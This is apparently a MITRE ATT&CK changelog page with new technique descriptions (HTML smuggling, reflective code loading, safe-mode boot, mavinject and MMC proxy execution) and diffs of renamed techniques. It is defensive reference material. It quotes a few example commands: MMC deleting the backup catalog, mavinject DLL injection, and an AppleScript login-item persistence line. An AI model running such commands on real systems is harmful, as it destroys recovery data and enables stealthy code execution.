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These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.
This JSON file contains the machine readble output used to create this page: changelog.json
Current version: 1.0
Description: Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure. Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .
Current version: 1.0
Description: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)
Current version: 1.0
Description: Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)
Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)
Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.
Current version: 1.0
Description: Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018) Adversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)
Current version: 1.0
Description: Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.
Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)
Current version: 1.0
Description: Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.
Current version: 1.0
Description: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)
Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.
For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)
Current version: 1.0
Description: Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)
Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)
Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)
Current version: 1.0
Description: Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.
Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
Current version: 1.0
Description: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)
For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window.
Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)
Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)
Current version: 1.0
Description: Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.
In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)
Current version: 1.0
Description: Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)
Current version: 1.0
Description: Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)
Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)
Current version: 1.0
Description: Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)
Current version: 1.0
Description: Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)
There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019)
For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)
On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to position themselves between two o | t | 1 | Adversaries may attempt to position themselves between two o |
| > | r more networked devices using a man-in-the-middle (MiTM) te | > | r more networked devices using an adversary-in-the-middle (A | ||
| > | chnique to support follow-on behaviors such as [Network Snif | > | iTM) technique to support follow-on behaviors such as [Netwo | ||
| > | fing](https://attack.mitre.org/techniques/T1040) or [Transmi | > | rk Sniffing](https://attack.mitre.org/techniques/T1040) or [ | ||
| > | tted Data Manipulation](https://attack.mitre.org/techniques/ | > | Transmitted Data Manipulation](https://attack.mitre.org/tech | ||
| > | T1565/002). By abusing features of common networking protoco | > | niques/T1565/002). By abusing features of common networking | ||
| > | ls that can determine the flow of network traffic (e.g. ARP, | > | protocols that can determine the flow of network traffic (e. | ||
| > | DNS, LLMNR, etc.), adversaries may force a device to commun | > | g. ARP, DNS, LLMNR, etc.), adversaries may force a device to | ||
| > | icate through an adversary controlled system so they can col | > | communicate through an adversary controlled system so they | ||
| > | lect information or perform additional actions.(Citation: Ra | > | can collect information or perform additional actions.(Citat | ||
| > | pid7 MiTM Basics) Adversaries may leverage the MiTM positio | > | ion: Rapid7 MiTM Basics) Adversaries may leverage the AiTM | ||
| > | n to attempt to modify traffic, such as in [Transmitted Data | > | position to attempt to modify traffic, such as in [Transmitt | ||
| > | Manipulation](https://attack.mitre.org/techniques/T1565/002 | > | ed Data Manipulation](https://attack.mitre.org/techniques/T1 | ||
| > | ). Adversaries can also stop traffic from flowing to the app | > | 565/002). Adversaries can also stop traffic from flowing to | ||
| > | ropriate destination, causing denial of service. | > | the appropriate destination, causing denial of service. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 15:19:48.733000+00:00 | 2021-09-28 13:09:51.467000+00:00 |
| name | Man-in-the-Middle | Adversary-in-the-Middle |
| description | Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service. | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) Adversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service. |
| x_mitre_data_sources[0] | Network Traffic: Network Traffic Flow | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. | Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can take advantage of security vulnerabilities a | t | 1 | Adversaries may take advantage of security vulnerabilities a |
| > | nd inherent functionality in browser software to change cont | > | nd inherent functionality in browser software to change cont | ||
| > | ent, modify behavior, and intercept information as part of v | > | ent, modify user-behaviors, and intercept information as par | ||
| > | arious man in the browser techniques. (Citation: Wikipedia M | > | t of various browser session hijacking techniques.(Citation: | ||
| > | an in the Browser) A specific example is when an adversary | > | Wikipedia Man in the Browser) A specific example is when a | ||
| > | injects software into a browser that allows an them to inher | > | n adversary injects software into a browser that allows them | ||
| > | it cookies, HTTP sessions, and SSL client certificates of a | > | to inherit cookies, HTTP sessions, and SSL client certifica | ||
| > | user and use the browser as a way to pivot into an authentic | > | tes of a user then use the browser as a way to pivot into an | ||
| > | ated intranet. (Citation: Cobalt Strike Browser Pivot) (Cita | > | authenticated intranet.(Citation: Cobalt Strike Browser Piv | ||
| > | tion: ICEBRG Chrome Extensions) Browser pivoting requires t | > | ot)(Citation: ICEBRG Chrome Extensions) Executing browser-ba | ||
| > | he SeDebugPrivilege and a high-integrity process to execute. | > | sed behaviors such as pivoting may require specific process | ||
| > | Browser traffic is pivoted from the adversary's browser thr | > | permissions, such as <code>SeDebugPrivilege</code> and/or hi | ||
| > | ough the user's browser by setting up an HTTP proxy which wi | > | gh-integrity/administrator rights. Another example involves | ||
| > | ll redirect any HTTP and HTTPS traffic. This does not alter | > | pivoting browser traffic from the adversary's browser throu | ||
| > | the user's traffic in any way. The proxy connection is sever | > | gh the user's browser by setting up a proxy which will redir | ||
| > | ed as soon as the browser is closed. Whichever browser proce | > | ect web traffic. This does not alter the user's traffic in a | ||
| > | ss the proxy is injected into, the adversary assumes the sec | > | ny way, and the proxy connection can be severed as soon as t | ||
| > | urity context of that process. Browsers typically create a n | > | he browser is closed. The adversary assumes the security con | ||
| > | ew process for each tab that is opened and permissions and c | > | text of whichever browser process the proxy is injected into | ||
| > | ertificates are separated accordingly. With these permission | > | . Browsers typically create a new process for each tab that | ||
| > | s, an adversary could browse to any resource on an intranet | > | is opened and permissions and certificates are separated acc | ||
| > | that is accessible through the browser and which the browser | > | ordingly. With these permissions, an adversary could potenti | ||
| > | has sufficient permissions, such as Sharepoint or webmail. | > | ally browse to any resource on an intranet, such as [Sharepo | ||
| > | Browser pivoting also eliminates the security provided by 2- | > | int](https://attack.mitre.org/techniques/T1213/002) or webma | ||
| > | factor authentication. (Citation: cobaltstrike manual) | > | il, that is accessible through the browser and which the bro | ||
| > | wser has sufficient permissions. Browser pivoting may also b | ||||
| > | ypass security provided by 2-factor authentication.(Citation | ||||
| > | : cobaltstrike manual) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 15:34:09.429000+00:00 | 2021-10-18 12:11:16.808000+00:00 |
| name | Man in the Browser | Browser Session Hijacking |
| description | Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser) A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions) Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual) | Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)
A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.
Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual) |
| x_mitre_detection | This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications. | This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may poison Address Resolution Protocol (ARP) cac | t | 1 | Adversaries may poison Address Resolution Protocol (ARP) cac |
| > | hes to position themselves between the communication of two | > | hes to position themselves between the communication of two | ||
| > | or more networked devices. This activity may be used to enab | > | or more networked devices. This activity may be used to enab | ||
| > | le follow-on behaviors such as [Network Sniffing](https://at | > | le follow-on behaviors such as [Network Sniffing](https://at | ||
| > | tack.mitre.org/techniques/T1040) or [Transmitted Data Manipu | > | tack.mitre.org/techniques/T1040) or [Transmitted Data Manipu | ||
| > | lation](https://attack.mitre.org/techniques/T1565/002). The | > | lation](https://attack.mitre.org/techniques/T1565/002). The | ||
| > | ARP protocol is used to resolve IPv4 addresses to link laye | > | ARP protocol is used to resolve IPv4 addresses to link laye | ||
| > | r addresses, such as a media access control (MAC) address.(C | > | r addresses, such as a media access control (MAC) address.(C | ||
| > | itation: RFC826 ARP) Devices in a local network segment comm | > | itation: RFC826 ARP) Devices in a local network segment comm | ||
| > | unicate with each other by using link layer addresses. If a | > | unicate with each other by using link layer addresses. If a | ||
| > | networked device does not have the link layer address of a p | > | networked device does not have the link layer address of a p | ||
| > | articular networked device, it may send out a broadcast ARP | > | articular networked device, it may send out a broadcast ARP | ||
| > | request to the local network to translate the IP address to | > | request to the local network to translate the IP address to | ||
| > | a MAC address. The device with the associated IP address dir | > | a MAC address. The device with the associated IP address dir | ||
| > | ectly replies with its MAC address. The networked device tha | > | ectly replies with its MAC address. The networked device tha | ||
| > | t made the ARP request will then use as well as store that i | > | t made the ARP request will then use as well as store that i | ||
| > | nformation in its ARP cache. An adversary may passively wai | > | nformation in its ARP cache. An adversary may passively wai | ||
| > | t for an ARP request to poison the ARP cache of the requesti | > | t for an ARP request to poison the ARP cache of the requesti | ||
| > | ng device. The adversary may reply with their MAC address, t | > | ng device. The adversary may reply with their MAC address, t | ||
| > | hus deceiving the victim by making them believe that they ar | > | hus deceiving the victim by making them believe that they ar | ||
| > | e communicating with the intended networked device. For the | > | e communicating with the intended networked device. For the | ||
| > | adversary to poison the ARP cache, their reply must be faste | > | adversary to poison the ARP cache, their reply must be faste | ||
| > | r than the one made by the legitimate IP address owner. Adve | > | r than the one made by the legitimate IP address owner. Adve | ||
| > | rsaries may also send a gratuitous ARP reply that maliciousl | > | rsaries may also send a gratuitous ARP reply that maliciousl | ||
| > | y announces the ownership of a particular IP address to all | > | y announces the ownership of a particular IP address to all | ||
| > | the devices in the local network segment. The ARP protocol | > | the devices in the local network segment. The ARP protocol | ||
| > | is stateless and does not require authentication. Therefore, | > | is stateless and does not require authentication. Therefore, | ||
| > | devices may wrongly add or update the MAC address of the IP | > | devices may wrongly add or update the MAC address of the IP | ||
| > | address in their ARP cache.(Citation: Sans ARP Spoofing Aug | > | address in their ARP cache.(Citation: Sans ARP Spoofing Aug | ||
| > | 2003)(Citation: Cylance Cleaver) Adversaries may use ARP c | > | 2003)(Citation: Cylance Cleaver) Adversaries may use ARP c | ||
| > | ache poisoning as a means to man-in-the-middle (MiTM) networ | > | ache poisoning as a means to intercept network traffic. This | ||
| > | k traffic. This activity may be used to collect and/or relay | > | activity may be used to collect and/or relay data such as c | ||
| > | data such as credentials, especially those sent over an ins | > | redentials, especially those sent over an insecure, unencryp | ||
| > | ecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug | > | ted protocol.(Citation: Sans ARP Spoofing Aug 2003) | ||
| > | 2003) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-21 16:41:35.256000+00:00 | 2021-07-28 01:04:39.141000+00:00 |
| description | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may 